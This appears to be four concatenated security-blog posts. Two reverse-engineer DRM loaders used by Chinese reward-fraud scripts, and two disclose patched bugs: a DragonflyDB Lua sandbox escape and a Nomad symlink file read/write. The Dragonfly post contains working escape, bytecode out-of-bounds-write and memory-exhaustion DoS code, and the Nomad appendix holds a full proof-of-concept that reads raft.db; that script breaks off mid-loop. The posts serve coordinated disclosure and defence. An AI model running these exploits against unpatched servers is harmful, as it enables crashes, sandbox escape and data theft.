And the records leak. Each encrypted instruction is trailed by a two-character argument that isn’t encrypted at all, and I’m sure of that from how it behaves across builds. The repo ships every script compiled for four Python versions, and bytecode changes between versions, so the encrypted bytes shift from the 3.9 file to the 3.11 one. The two char suffixes don’t. A value that stays identical across all four builds, at a fixed spot right after the delimiter, can’t be inside the ciphertext: it’s the opcode’s argument, outside the encryption in the clear.

That is the ceiling. With the magic, the block structure, the plaintext arguments, and file sizes lined up against scripts I’d already cracked on the xxwppp side (the sister cluster of repos that runs on the same Track A loader, so its payloads come out readable), I can sketch the skeleton of any ev2 file in the repo. What I can’t do is read a line of it. The key is the one thing the format doesn’t leak.

The contrast: yphd, reversed before lunch

To see why the wool C2 model is actually strong, it helps to look at someone in the same scene who did it the other way. yphd and khr2606 are two binaries from a neighbouring repo, and they look intimidating: 15 MB and 10 MB ELF files, every string encrypted, no readable Python anywhere. But they are Nuitka --onefile builds. Nuitka is a Python to C compiler, and --onefile bundles the whole interpreter plus a zstd-compressed copy of the program into a single executable. The “encryption” is just Nuitka packing its constant tables. It isn’t a security feature and it isn’t gated on anything. Everything needed to run is inside the file.

Which means it all comes back out. The Nuitka bootstrap unpacks itself to a temp directory at startup; catch it there and you have the original Python. khr2606 turned out to be a solver for China Unicom’s “Customer Day” Bubble Battle, a hexagonal bubble shooter run as a loyalty promotion - pretty much a clone of Puzzle Bobble with some rewards. The script runs a BFS over the grid to find floating bubbles, picks the shot that clears the most, and, my favourite touch, deliberately stops once it has eliminated more than 200 so it doesn’t look like a bot. The whole thing was readable in about two hours.

That is the point. yphd packs its code; wool gates its code. Packing always loses under scruitany, because the unpacked version has to exist somewhere at runtime for the program to do anything. A C2 held key never has to exist on the victim’s machine at all. It is the difference between a locked box you were also handed the key to, and a locked box whose key stays on someone else’s server.

Where it stops

So here is the honest dead end. There are 49 ev2 scripts in the repo, four Python builds each, 196 files in all, and I have 192 of them, every build of all but one script. I can describe the format down to the byte, I know the cipher is AES-CBC, I know the key is universal and the same for every user. What I do not have is that key, because it only comes from the C2, and the C2 will not talk to me. Every path I tried on 1.94.146.238:8099 returns 404, and control.json carries status: false. Whether the server is off, moved, or simply refusing anything without a valid machine fingerprint and the right client certificate, I can’t tell from the outside. The repo itself is alive, its compiled binaries were updated as recently as June 2026. Someone is still maintaining it. The doors are just locked.

Which means everything I can say about what those 49 scripts actually do is inference, and I want to be clear about that. The names are romanized guesses from the encoded filenames. The categories, KuWo Music, Ximalaya, Bilibili, state-media reading apps, a pile of regional civic platforms, come from file size, instruction counts, the plaintext argument bytes, and matching sealed files against their cleartext twins on the xxwppp side. None of it was extracted. I never saw the source of one ev2 script. If this series tells you what nebula-pr does, it is a hypothesis with evidence behind it, not a decryption.

That is the wall, and it’s a good one. The reason I can tell the Track A story all the way through and the Track B story only halfway comes down to a single design decision: where the key lives.

Resources

• PyO3, the Rust-to-Python bridge behind loader_v2, common, and component.
• AES in CBC mode, the cipher behind the ev2 format, with the key held off the box on the C2.
• Python’s marshal and PyEval_EvalCode, the last two steps of the ev2 pipeline once the AES layer comes off.

• wyourname/wool is a zero-star GitHub repo that does one job: script DRM. A big slice of the Chinese reward-farming (薅羊毛) scene rents it to seal their fraud scripts so they can’t be lifted straight off GitHub.
• Why bother locking a checkin script? In this scene the script is the product. It gets sold, rented, and gated behind license keys, so the code itself is the thing a buyer is paying not to be able to copy.
• The old tier is a Cython module (loader_39_x86_64.so) running a hand-ported JavaScript DES. I reversed it end to end.
• The key is hardcoded (f30db728...), the same eight bytes in every build. Recover it once and every payload that loader ever sealed falls open, so it protects nothing.
• I’m publishing the method and the lesson, not a decrypt script. All read-only, nothing farmed, nothing logged into.
• The newer tier of DRM fixed the mistake that made this one crackable: it moved the key off the box and onto a C2. That is the next post.

Why I started pulling on these .so files

At the end of the last post I had a repo I couldn’t read. Here’s the part I skipped over: qlk’s own obfuscation was never the hard problem.

Every script is the same trick, base85 or XOR or a subtract cipher, then zlib, then a marshalled code object handed straight to exec(). It runs in memory and never writes a .pyc, so it stops you reading the source but not running it, and anything you can run you can hook. After decoding these scripts I realised what I had stumbled upon, a treasure trove of scripts that are used to defraud news sites, ads, and local government websites, all to make a little bit of cash. We will go into this in more detail in another post.

Curious to see if this was just a single example of bad opsec, I started searching the endpoints they were targeting. Boy they were everywhere: a KuWo cash-withdrawal endpoint alone is in at least five other people’s repos. And it wasn’t just the targets that matched: two of qlk’s obfuscators are hand-rolled, not off-the-shelf, and the same fingerprints turned up in another author’s repo in the same cluster. Same private toolchain, different authors. qlk wasn’t a one-off, it was one corner of a whole scene.

So I started reading through these repos. Most were more of the same: same apps, same obfuscation, the odd file copied word for word from one account to the next. Typical for a scene like this that people would be stealing others scripts. But a few were built differently. They didn’t contain any logic at all. They imported a loader, pulled down a .so, and handed it an encrypted string to run. And one of them, a plaintext one, had left the download URL sitting right at the top of the file:

DEBIAN_URL = 'https://raw.githubusercontent.com/wyourname/wool/master/others'

That was the repo. wyourname/wool: zero stars, description 自用 (“personal use”), quietly hosting the loaders a large portion of the scene was using to protect their scripts.

Why lock a wool script?

Before any of the reverse engineering, it is worth settling what the lock is even for. A wool script automates a checkin, a lottery draw, a daily reading task. It is not state secrets. So who is it hiding from, and why would anyone pay to keep it sealed?

Because in this scene the script is the product. These things get sold and rented. There are panels that meter access, license keys (卡密) that gate a single run, resellers who never wrote a line of the code they sell or rent. The moment the source is readable, a buyer copies it once and stops paying, or undercuts the author by selling it on himself. Confidentiality is the whole business model.

The checkin loop was never the part worth protecting. Anyone can write one. The value is in the bypass underneath: the h5st signature JD’s app demands, the risk tokens, the shared pool of device IDs, the CAPTCHA solver, the Ruishu fingerprint defeat. That is months of work against a target that keeps moving, and it is exactly what a rival in the same scene wants to lift. Lock the file and the exploit stays yours.

A loader that fetches its key from a server buys one more thing: an off switch. Stop handing out the key, or flip a flag in a config, and every copy already deployed goes dark at once. The author keeps a hand on a product he has already sold.

There is a defensive (for the fraudsters) bonus too. An encrypted payload sitting on GitHub is just a bunch of bits. JD cannot read it to build a detection, a researcher cannot skim it for indicators, and there is nothing legible to file a takedown against. The fraud code hides in plain sight, on a CDN that will never take it down, since it doesnt even know its a fraud script.

And the whole scene runs on no trust. The operators do not even trust the customers they sell to, and I guess they shouldn’t. A later post is about one author who quietly routes his buyers’ harvested passwords back to his own server. DRM is that same instinct pointed at the paying customer: hand them the capability, never the code.

So that is the motive. The rest of this post is how well they actually pulled it off, starting with the version that got it wrong.

Wool repo overview

Now this wool repo is hella interesting, it’s the basis of a bunch of different script DRM techniques.

The repo has two branches, master and compatible, the latter untouched for three years. Everything interesting is on master.

The first two things that stood out to me. First, a folder called encrypted_files_v2, updated three weeks ago, full of .txt files that all open with the same 12-character magic (|(LTm_R7mUd@) and then gibberish. Second, a script/ directory containing common.py. A loader that subscribers actually run. That file is readable, and it tells you the shape of the whole system: you hand it a script name, it then figures out your Python version and arch, fetches the right .so binary from the repo’s others/ directory, loads it as a Python extension module, and calls main(). From that point common.py is out of the picture. Whatever happens next happens inside the binary.

I expected one loader. There are four of them in others/ and they don’t all work the same way: loader is an old Cython module, and loader_v2, common, and component are Rust. The one common.py pulls by default is common. It’s all one product, carried from Python into Rust and grown since, which is the tell that this system has a history.

This post is about the old one, the Cython loader, because it is the one that opens up and tells me all its secrets. The other three are written in Rust, and they are a harder story that gets its own post.

Track A: Cython DES loader

The oldest loader, loader_39_x86_64.so, is a Cython compiled Python module, so there’s no source to read. You get a 369 KB shared object that exports exactly one symbol, PyInit_loader, and keeps everything else to itself. Import it, hand it an encrypted string, and it hands you back live code. That’s the entire product: the scripts ship as gibberish, the loader turns gibberish into behaviour, and the step in between is the thing you’re paying not to have to trust.

So I would naturally start reaching for Ghidra, or radare2 here (or binary ninja if I had more $$), but for this I didnt need to! Using file it confirmed that it was an ELF 64-bit shared object (the exported PyInit_loader symbol is what actually marks it a CPython extension module), I also used strings to get out all the printable strings, and used readelf to give a way the sections.

What gave it away was the DES. Not that it uses DES, plenty of things still do, but that it isn’t a crypto library’s DES. It’s someone’s JavaScript DES, hand-carried into Python. The fingerprints are everywhere: helper functions named to_signed32 and unsigned_right_shift, which only need to exist because JavaScript’s >>> behaves differently from Python’s. And the key schedule routine’s docstring is written in Chinese but leaves the words JavaScript and key schedule sitting right there in English; translated, it says the schedule was restored from the JavaScript version. You don’t write a DES engine in Python for fun. You port one you found.

With the algorithm identified, the rest of the pipeline falls out of the strings and the exports. The loader carries its own scrambled Base64 alphabet, the standard one shuffled just enough that an off-the-shelf decoder gives you garbage:

abcdefghijklmnoqprstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ0123456789~/

It’s ordinary Base64 with the case blocks flipped so lowercase comes first, p and q swapped, I and J swapped, and ~ standing in for +. Small changes, enough to break a lazy decode. From there the chain is mechanical, and every stage is one of the module’s exported names:

CustomBase64.decode → split_data (peel IV) → DES-CBC → strip PKCS7
  → gzip decompress → marshal.loads → PyEval_EvalCode

split_data lifts the IV off the front, des_crypt runs the DES-CBC with that JavaScript-ported schedule, the result un-gzips into marshalled bytecode, and PyEval_EvalCode runs it in memory. The whole thing is right there. The only piece the pipeline is missing is the key.

The MD5 red herring

The strings get you this far, and then they set a trap, or I just made my own trap.

Pull the symbols and get_key() is openly calling hashlib.md5(...).hexdigest(). A few bytes away in the read only (RO section) data sit two eight-character strings, 12345678 and 12345673, and eight characters is exactly the length of a single DES key. This is too good to be true, and this follows the idea that the creator is just doing their best. The story writes itself the key is MD5("12345678"), probably sliced to size. It’s a clean, satisfying answer, I believed this, and thought “Ah silly wool creator you have left the key right here.”

I was wrong. MD5("12345678") is 25d55ad283aa400af464c76d713c07ad, which is not the key.

The only way to figure this out was to stop reading and start running, testing my own notes, and theories. The part the static tools can’t do for you, and the part a Cython .so makes trivial. It’s a Python module, so I gave it a Python interpreter: a matching CPython (3.9, the version it was built against), the loader dropped beside it, imported. Then I just asked.

  >>> import loader
  >>> loader.get_key()
  'f30db728b353376862dcddc6c618a12b'

There’s the real DES key, truncated to its first eight bytes (f30db728) for the single DES schedule. How get_key() actually arrives at it I have no idea. But that’s the entire point: I never needed to know. The loader runs the algo itself on every call and hands back the answer, and because the whole point of this loader is to get that key, I just needed to run it!

And the key is hardcoded. The same eight bytes in every build, not created per user, not fetched from a server, just a constant the loader reads out of itself.

The embedded self-test

There is one more thing baked into the loader: a 536-character blob of that same scrambled Base64, sitting in the read-only data at offset 0x4a4c0. Run it back through the pipeline above and it decrypts cleanly into a real code object. It’s a self-test, a sample the loader can unpack against itself to prove the machinery still works, and it tells me something too. The decrypt touched no network. For this tier the loader is the whole story: key, algorithm, and a sample to run them on, all sealed in one file. Track B is where the operator decides that was the mistake.

Decryption

A note on what I am and am not publishing, because it matters here. The Track A recipe is complete: the key is hardcoded, it’s the same eight bytes for every xxwppp payload (a sister cluster of repos on the same loader), and the pipeline is seven well-known steps. Anyone who read this post could rebuild a script that decrypts every one of those fraud payloads. That is the whole problem with a hardcoded key. It buys no confidentiality at all, not against me and not against the next person.

So I’m publishing the method and the lesson, not the loaded gun. You’ve seen the algorithm, the alphabet, the pipeline, and the fact that the key is f30db728.... What I’m holding back is the copy-paste, turn-key script that takes a repo file in and prints runnable fraud code out. The method is the interesting part and the part defenders need; the turn-key tool only helps the next operator. Track B needs no such restraint, there’s nothing to hold back, because without the C2 key there is nothing to decrypt.

That tier is the next post, the one where the operator finally put the key somewhere I couldn’t reach (like a high shelf).

Resources

• Cython, for how a compiled .so can still be a Python module you import and call, as long as you match the interpreter version.
• DES, the cipher the loader runs, hand-ported out of a JavaScript implementation rather than taken from a crypto library.
• Python’s marshal and PyEval_EvalCode, the last two steps of the Track A pipeline.

• A full Lua sandbox escape in DragonflyDB, a protection-mechanism failure (CWE-693). Three lines overwrite the _G metatable and hand back rawset, rawget, string.dump, load, and the rest of what the sandbox tries to hide.
• The only thing you need is the ability to run EVAL.
• From there it chains: call registered C functions with controlled args, leak pointers via tostring, and force an out-of-bounds write (CWE-787), a reliable SIGSEGV, through a crafted-bytecode SETUPVAL index.
• Separate bug, same file: dragonfly.randstr has no size check (CWE-789). return dragonfly.randstr(1000000000) allocates gigabytes and drops the instance.
• Where it stops: no OS-level RCE. io and os aren’t loaded and nothing dangerous is registered to Lua, a deliberate call by the team, and the only reason this isn’t worse.
• Affected: everything before v1.39.0 (verified v1.34.2–v1.38.1 + main).
• Patched: v1.39.0, 9 June 2026.
• Running EVAL anywhere untrusted? Upgrade to v1.39.0, or gate EVAL/EVALSHA behind ACLs until you can.

Background

I’d been reading Dragonfly’s source on a weekend, mostly because I wanted to see how a from scratch Redis compatible server handles scripting and how I could abuse it. Redis style EVAL is one of those features that looks small from the outside and is a whole lot more intersting when you look at it more: you’re handing an attacker a real programming language and then trying to fence off the dangerous parts of it after the fact. This sort of thing is done a lot with vendored versions of databases. They often have fun things inside that can be dangerous to the owner of the server if they let a user play too much, think Postgres’s lo_import.

Dragonfly fences it with a metatable. When the interpreter spins up, InitLua loads a handful of libraries (base, table, string, math, debug, plus cjson/struct/cmsgpack/bit), and then runs a small Lua chunk it calls @enable_strict_lua to lock the global table down. That chunk is the whole sandbox for global access, and it lives in src/core/interpreter.cc around lines 386–407:

local dbg=debug
local mt = {}

setmetatable(_G, mt)
mt.__newindex = function (t, n, v)
  if dbg.getinfo(2) then
    local w = dbg.getinfo(2, "S").what
    if w ~= "main" and w ~= "C" then
      error("Script attempted to create global variable '"..tostring(n).."'", 2)
    end
  end
  rawset(t, n, v)
end
mt.__index = function (t, n)
  if dbg.getinfo(2) and dbg.getinfo(2, "S").what ~= "C" then
    error("Script attempted to access nonexistent global variable '"..tostring(n).."'", 2)
  end
  return rawget(t, n)
end
debug = nil

Take a second look at that code block… The protection is two closures on the _G metatable. __newindex stops you creating globals, __index stops you reading globals that don’t exist. After it’s set up, debug is nil’d, and elsewhere loadfile and dofile get nil’d too.

Two things never get taken away: rawset and getmetatable. And the metatable mt is a plain table sitting one getmetatable call away.

That’s the bug. The lock and the key are in the same drawer!!

The escape

getmetatable(_G) returns mt. rawset is still global. So you write straight over the two guard closures with permissive ones and because rawset bypasses metatables, the existing __newindex guard can’t even fire to stop you:

local mt = getmetatable(_G)
rawset(mt, "__newindex", function(t,n,v) rawset(t,n,v) end)
rawset(mt, "__index", function(t,n) return rawget(t,n) end)

Three lines and after that the global creation and global reads are wide open, and the functions the sandbox was relying on staying hidden are all reachable.

Here is a quick check that I ran to test it:

rawset(_G, "TEST", 123)
local bc = string.dump(function() return 1 end)
local f = load(bc, "test", "b")

string.dump gives you compiled bytecode. load(..., "b") reads compiled bytecode back. Both are right there once the guards are gone. This is the core issue (a protection mechanism failure, CWE-693) and everything below relies on this.

None of this is new code, either. That metatable approach has been Dragonfly’s Lua sandbox since the earliest public builds, and dragonfly.randstr has been around since roughly v1.15.0. So “affected” is basically every release before v1.39.0. I verified it from v1.34.2 through v1.38.1 (the latest tagged release at report time) and main, and v1.38.1 still ships the unpatched version.

What the bypass opens up

Once you’re out, a few different things open up to you. None of them is the headline (the headline is that you’re out at all), but they’re worth walking through because they’re the next reach and they map onto what got patched.

C function injection / type confusion. Functions are first class in Lua, and after the escape you have references to the registered C functions. You can park them in table slots and call them with whatever arguments you like:

T = {1, 2, 3}
T[2] = type             -- a C function, now living in a table slot
result = T[2]("hello")  -- "string"
-- same trick works with tostring, rawget, select, and other friends

On its own that’s just calling builtins. The part that matters for anyone trying to go further: tostring on a function hands back the pointer as text, so this is also a memory address leak past ASLR. Hold that thought for the Where it stops section.

Bytecode manipulation and an out of bounds write (CWE-787). With string.dump and load both reachable you can round trip bytecode through your own patcher. The Lua VM doesn’t validate the SETUPVAL index coming out of loaded bytecode, so a negative index is an out of bounds write. Easiest way to see it is to dump a closure, find the SETUPVAL instruction, and rewrite its index:

local function template()
  local x = 0xDEAD
  return function()
    x = 0x16
  end
end

local bc = string.dump(template)

-- Patch the SETUPVAL instruction to use a negative index (OOB write)
for i = 40, #bc - 4 do
  local inst = string.unpack("<I4", bc, i)
  if (inst & 0x7F) == 0x18 then
    inst = (inst & 0x7FFF) | (0xFF << 15)
    bc = bc:sub(1, i-1) .. string.pack("<I4", inst) .. bc:sub(i+4)
    break
  end
end

local f = load(bc, "oob", "b")
local inner = f()
inner()  -- writes 0x16 to memory at the upvalue[-1] location

That’s a write where it shouldn’t be, and it’ll take the process down with a SIGSEGV. It is a crash/OOB write primitive, not a controlled write to anything primitive. More on why in a moment.

Multi EVAL state persistence. Globals survive across EVAL commands on the same connection. So you don’t have to cram the whole thing into one script; you can set up the escape in one call and use it in the next:

import redis
r = redis.Redis(host='target', port=6379, password='xxx')

# EVAL 1: escape the sandbox & leave a global behind
r.eval('''
local mt = getmetatable(_G)
rawset(mt, "__newindex", function(t,n,v) rawset(t,n,v) end)
rawset(mt, "__index", function(t,n) return rawget(t,n) end)
EXPLOIT_STATE = {step = 1}
''', 0)

# EVAL 2: the global is still there
result = r.eval('return EXPLOIT_STATE.step', 0)  # 1

That’s a delivery convenience more than a bug of its own, but it changes what an attacker has to fit in a single payload, so I flagged it. Though it does not achive much at all.

Where it stops

This is the part I want to be straight up about, because it’s most of the work and none of the win.

I tried real hard to take the OOB write and the C function reach somewhere real something like a rce or anything more than what it is right now. I threw more than 4.2 billion fuzzing attempts at the SETUPVAL OOB alone over multiple nights, looking for a path from “negative index write” to controlled execution. I got crashes. Left right an centre, just crashes. I got pointer leaks out of tostring. I did not get OS level RCE, and I’m fairly confident it isn’t there from this surface.

The reason is boring and it’s the right kind of boring: io and os are never loaded into the Lua state, and nothing like popen is registered. So the type confusion / C function call trick has nothing dangerous to reach. You can call type and tostring all day yay… There just is no os.execute sitting in the registry to find. The dangerous primitives that would normally turn a Lua sandbox escape into a shell just aren’t present.

So: full sandbox escape, a memory corruption crash, an address leak, and a bloody brick wall past that, put there on purpose. Credit where it’s due. That defense in depth call is the difference between this and a much worse report.

The DoS

Different bug, same file, no escape required. dragonfly.randstr (src/core/interpreter.cc, around 467–506) reads its size argument and allocates straight away with no upper bound:

int DragonflyRandstrCommand(lua_State* state) {
  int argc = lua_gettop(state);
  lua_Integer dsize = lua_tonumber(state, 1);
  lua_remove(state, 1);

  std::string buf(dsize, ' ');
  ...

dsize comes from the script, std::string buf(dsize, ' ') tries to allocate that many bytes. One command, gigabytes requested, instance gone:

import redis
r = redis.Redis(host='target', port=6379, password='xxx', socket_timeout=5)

try:
  r.eval('return dragonfly.randstr(1000000000)', 0)
except redis.exceptions.TimeoutError:
  print("Service crashed")

That’s CWE-789, a memory allocation sized straight from an unvalidated argument. It needs EVAL and nothing else.

The fix

The fixes were already going up in the repo before I’d even had a human reply (more on the timeline below). Three PRs cover it, all landed in v1.39.0:

• PR #7370: sandbox hardening. rawset, setmetatable, and getmetatable are now overridden to block access to _G and the global library tables, and guard metatables are attached so scripts can’t replace or corrupt them across executions. This is the one that actually closes the escape: take rawset and getmetatable off the table and the three line trick has nothing to grab.
  • Worth a note: the automated review on that PR flagged that an early version of the guard still let you mutate the returned metatable’s fields directly (mt.__newindex = nil via a normal table assignment rather than rawset). Same shape as the original bug, one rung down. That’s why the shipped fix also pins guard metatables onto the global tables instead of only wrapping rawset. Good catch by whoever was reviewing.
• PR #7368: randstr validation. Argument count, type, and size are now checked (count 1–32768, size 1–16 MiB). The unbounded std::string allocation is gone.
• PR #7376: load restricted to text only. load is wrapped to force mode "t" and returns nil for any binary input regardless of the mode the caller asks for. That kills the bytecode path specifically: you can still escape into load in theory, but you can’t feed it crafted compiled bytecode anymore, so the SETUPVAL trick has no way in.

If you want the one line version: v1.39.0 takes away the keys (rawset/getmetatable), bolts the bytecode door (load text only), and bounds the allocation (randstr).

Disclosure

I emailed the Dragonfly team on 18 May with the escape, the escalations off it, and the randstr DoS, noting I’d verified everything on v1.34.2 through v1.38.1 and main at baa09014. I offered to validate a patch once they had one.

The email side was quiet. Ari Shotland picked it up on 21 May and pulled in Roman Gershman, their CTO. Roman’s reply, in full, was “Thanks for letting us know!” :)

Normally that’s the kind of response that makes you wonder if anything’s happening. It wasn’t. The patches had started going up on the 20th. PR #7368 and PR #7370 were both open a day before the first human reply, and #7376 went up on the 21st. Quiet on email, fast in the repo. I’ll take that over the reverse any day.

v1.39.0 shipped on 9 June with all three fixes folded into a big release (the Lua hardening is a few lines in a changelog that’s mostly full text search work). On 10 June I asked Roman whether the team planned to request a CVE, and whether I was clear to write this up. He said go ahead on the blog and offered to help with the CVE. That part’s still in motion. I’m working out whether to drive it through a GitHub advisory or straight through MITRE.

Timeline

• 18 May 2026: Reported the Lua sandbox escape, the escalations, and the randstr DoS to the Dragonfly team. Verified on v1.34.2–v1.38.1 and main (baa09014).
• 20 May 2026: Fixes start landing: PR #7368 (randstr validation) and PR #7370 (sandbox hardening) opened.
• 21 May 2026: Ari Shotland replied and looped in Roman Gershman (CTO). PR #7376 (load text-only) opened the same day.
• 22 May 2026: Roman acknowledged: “Thanks for letting us know!”
• 9 June 2026: v1.39.0 released, bundling all three Lua fixes.
• 10 June 2026: Confirmed with Roman that I could write this up; CVE still being sorted (GitHub advisory vs MITRE).

Appendix A: Resources

• PR #7370: Harden sandbox by protecting rawset, setmetatable, and getmetatable
• PR #7368: Add input size validation to dragonfly.randstr()
• PR #7376: Restrict load() to text only mode
• Dragonfly v1.39.0 release
• Vulnerable file: src/core/interpreter.cc (sandbox init ~386–407, dragonfly.randstr ~467–506)

• HashiCorp Nomad and Nomad Enterprise from 0.9 through 2.0.0 are vulnerable to arbitrary file read and write on the client host as the Nomad process user. CVE-2026-6959, CWE-59, CNA score 6.0 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N).
• The exec2 task driver prior to 0.1.2 has the same class of bug. CVE-2026-8052, CWE-59, CNA score 6.0.
• A task container can replace the FIFO used for stdout/stderr log streaming with a symlink to any file on the host. When the task restarts, logmon reopens the FIFO path, follows the symlink, and reads or writes the target as the Nomad process user.
• The root cause is in logmon, so any driver that bind-mounts /alloc/logs writable into the task is affected. Podman is just where I found it.
• The affected range starts at Nomad 0.9 — this surface had been present for years.
• Upgrade Nomad to 2.0.1, 1.11.5, or 1.10.11. If you’re using exec2, upgrade to 0.1.2. The fix is a breaking change: /alloc/logs is now bind-mounted read-only for drivers with filesystem isolation.

The surface

After the Vitess work, I kept pulling on infrastructure stuff and ended up spending time reading through Nomad’s task driver code. I had a version of ttyd running so I could poke around from inside a deployed container. The podman driver was the most interesting thing I could see from that point, it bridges container and host, and the log streaming path has to open files on the host side based on paths the container can influence.

Nomad uses named pipes (FIFOs) for task log handling. The container and the Nomad agent share /alloc/logs. The agent opens those FIFOs to collect stdout/stderr from the running task. Two lines in the podman driver code matter here:

• driver.go#L1564 calls runLogStreaming on every task restart.
• handle.go#L151 is where the FIFO actually gets opened, without O_NOFOLLOW.

The bug

1. Task is running. FIFO exists at /alloc/logs/.sidecar.stdout.fifo.
2. Container unlinks the FIFO and replaces it with a symlink pointing at a host file.
3. Task restarts, naturally or because it crashes.
4. logmon reopens the FIFO path on the host side, follows the symlink, and is now reading from or writing to whatever the symlink points at. As the Nomad process user.

The PoC reads /nomad/data/server/raft/raft.db to show what this gets you on a real node. A raw_exec sidecar task sleeps 10 seconds and exits 1, triggering a restart on the configured delay. The attacker task (podman container) waits for the FIFO to appear, unlinks it, drops a symlink to raft.db in its place, then waits. When logmon reopens the path, it streams raft.db into the log file. The container reads it back from /alloc/logs/sidecar.stdout.

The raw_exec part is just for the PoC to have a deterministic restart cycle. You don’t need a privileged driver in practice — most real allocations include sidecars that restart naturally. Log collectors, anything with a restart policy, is a trigger.

(HashiCorp scored this C:N/I:H/A:N, so they treated it as a write primitive only. The PoC does read raft.db, but only by getting the host to write it into the alloc log file, which is a stretch of the read primitive. Fair enough.)

(Full PoC files in Appendix A.)

Disclosure

I sent the report to security@hashicorp.com on April 11 with a docker-compose reproducer attached. This is where it got entertaining…. The email filter stripped the .zip. Then stripped the renamed .txt version. Then stripped a second .txt attempt. In the end I pasted all five files inline in the email body, with a “Lets hope this gets though :)” which I stand by.

James Warren at HashiCorp picked it up on April 14. Reproduction confirmed April 16. They were working to reproduce it with constrained tasks instead of raw_exec, which confirmed they understood the driver was just a convenient stand-in for “anything that restarts.”

Then on May 8, James told me the same issue affects the exec2 task driver, which is released as a separate binary. That got CVE-2026-8052. The bulletin credits “the Nomad engineering team in conjunction with NeuroWinter” — they found that one. I hadn’t looked at exec2 specifically. Two CVEs from one investigation, the second one turned up by HashiCorp themselves.

Both bulletins went public May 13.

The fix

I’d suggested O_NOFOLLOW on the FIFO open in logmon. What shipped goes wider, in two layers (commit 2a09fd6):

1. The FIFO creation path now uses Go’s os.Root to confine filesystem operations to the logs directory, with a new mkfifoat syscall wrapper on Linux and BSD. That stops the symlink-following at the syscall layer. macOS is excluded because the syscall isn’t available there. Windows doesn’t need it because named pipes live in the kernel namespace, not the filesystem.
2. The allocation logs directory is now bind-mounted read-only for task drivers with filesystem isolation. That stops the container from unlinking the FIFO in the first place. This is the breaking change called out in the release notes.

While they were in there, the team also patched another variant: a task could replace /alloc/logs/ itself with a symlink, letting logmon create files in arbitrary host directories. I hadn’t found that one — it came out of HashiCorp’s audit after my report. Same root cause, different lever.

I’ve had a lot worse CVD experiences :)

Timeline

• 11 April 2026: Reported to security@hashicorp.com with PoC
• 14 April 2026: HashiCorp picks up the report (after a round of email-filter wrangling)
• 16 April 2026: Reproduction confirmed; fix targeted for Nomad 2.0.1
• 17 April 2026: CVE-2026-6959 to be issued; fix scope expanded to logmon
• 8 May 2026: HashiCorp finds same bug in exec2 driver; CVE-2026-8052 reserved
• 13 May 2026: Both bulletins and CVEs published; Nomad 2.0.1, 1.11.5, 1.10.11, exec2 0.1.2 released

Appendix A — PoC Files

docker-compose.yml

services:
  consul:
    image: hashicorp/consul:latest
    ports:
      - "8500:8500"
    command: "agent -dev -bind=0.0.0.0 -client=0.0.0.0"
  nomad:
    build:
      context: .
      dockerfile: Dockerfile.nomad
    ports:
      - "4646:4646"
      - "4647:4647"
      - "4648:4648"
    volumes:
      - ./nomad-config:/etc/nomad.d
      - nomad-data:/nomad/data
      - /sys/fs/cgroup:/sys/fs/cgroup:rw
    privileged: true
    cgroup: host
    devices:
      - /dev/fuse:/dev/fuse
    security_opt:
      - seccomp=unconfined
      - apparmor=unconfined
    environment:
      - NOMAD_ADDR=http://0.0.0.0:4646
    depends_on:
      - consul
volumes:
  nomad-data:

Dockerfile.nomad

FROM ubuntu:24.04
ARG NOMAD_VERSION=1.9.7
ARG PODMAN_DRIVER_VERSION=0.6.3
RUN apt-get update && apt-get install -y \
    curl \
    unzip \
    podman \
    uidmap \
    fuse-overlayfs \
    slirp4netns \
    ca-certificates \
    iproute2 \
    && rm -rf /var/lib/apt/lists/*
RUN curl -fsSL https://releases.hashicorp.com/nomad/${NOMAD_VERSION}/nomad_${NOMAD_VERSION}_linux_amd64.zip \
    -o /tmp/nomad.zip \
    && unzip /tmp/nomad.zip -d /usr/local/bin/ \
    && rm /tmp/nomad.zip
RUN mkdir -p /opt/nomad/plugins \
    && curl -fsSL https://releases.hashicorp.com/nomad-driver-podman/${PODMAN_DRIVER_VERSION}/nomad-driver-podman_${PODMAN_DRIVER_VERSION}_linux_amd64.zip \
    -o /tmp/podman-driver.zip \
    && unzip /tmp/podman-driver.zip -d /opt/nomad/plugins/ \
    && chmod +x /opt/nomad/plugins/nomad-driver-podman \
    && rm /tmp/podman-driver.zip
RUN useradd -m -u 1001 nomad \
    && echo "nomad:100000:65536" >> /etc/subuid \
    && echo "nomad:100000:65536" >> /etc/subgid
RUN mkdir -p /nomad/data /etc/nomad.d \
    && chown -R nomad:nomad /nomad
EXPOSE 4646 4647 4648
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
CMD ["/entrypoint.sh"]

entrypoint.sh

#!/bin/bash
mkdir -p /run/user/1001/podman
chown -R nomad:nomad /run/user/1001
mkdir -p /home/nomad/.config/containers
cat <<EOF > /home/nomad/.config/containers/containers.conf
[containers]
log_driver = "k8s-file"
[engine]
cgroup_manager = "cgroupfs"
EOF
mkdir -p /nomad/data
chown -R nomad:nomad /nomad/data /home/nomad
su - nomad -c "podman system service --time=0 unix:///run/user/1001/podman/podman.sock &"
sleep 2
exec su -s /bin/bash nomad -c "nomad agent -config=/etc/nomad.d"

poc.nomad

job "poc" {
  datacenters = ["dc1"]
  type        = "service"
  group "app" {
    restart {
      attempts = 10
      interval = "10m"
      delay    = "5s"
      mode     = "delay"
    }
    task "sidecar" {
      driver = "raw_exec"
      config {
        command = "/bin/sh"
        args    = ["-c", "sleep 10; exit 1"]
      }
      resources {
        cpu    = 100
        memory = 64
      }
    }
    task "attacker" {
      driver = "podman"
      config {
        image   = "python:3.13-slim"
        command = "python3"
        args    = ["/local/poc.py"]
      }
      template {
        data        = <<EOF
import os
import time
import sys
import re
ALLOC_LOGS = "/alloc/logs"
TARGET = "/nomad/data/server/raft/raft.db"
fifo = os.path.join(ALLOC_LOGS, ".sidecar.stdout.fifo")
print(f"waiting for {fifo}", flush=True)
for i in range(30):
    if os.path.exists(fifo):
        print("found fifo", flush=True)
        break
    time.sleep(1)
try:
    os.unlink(fifo)
    os.symlink(TARGET, fifo)
    print("symlink planted", file=sys.stderr, flush=True)
except Exception as e:
    print(f"error: {e}", file=sys.stderr, flush=True)
# Wait for sidecar to restart and logmon to write raft.db into the log file
time.sleep(30)
# Read back the exfiltrated data
print("=== EXFILTRATED DATA ===", flush=True)
for logfile in sorted(os.listdir(ALLOC_LOGS)):
    if logfile.startswith("sidecar.stdout"):
        path = os.path.join(ALLOC_LOGS, logfile)
        print(f"\n--- {path} ---", flush=True)
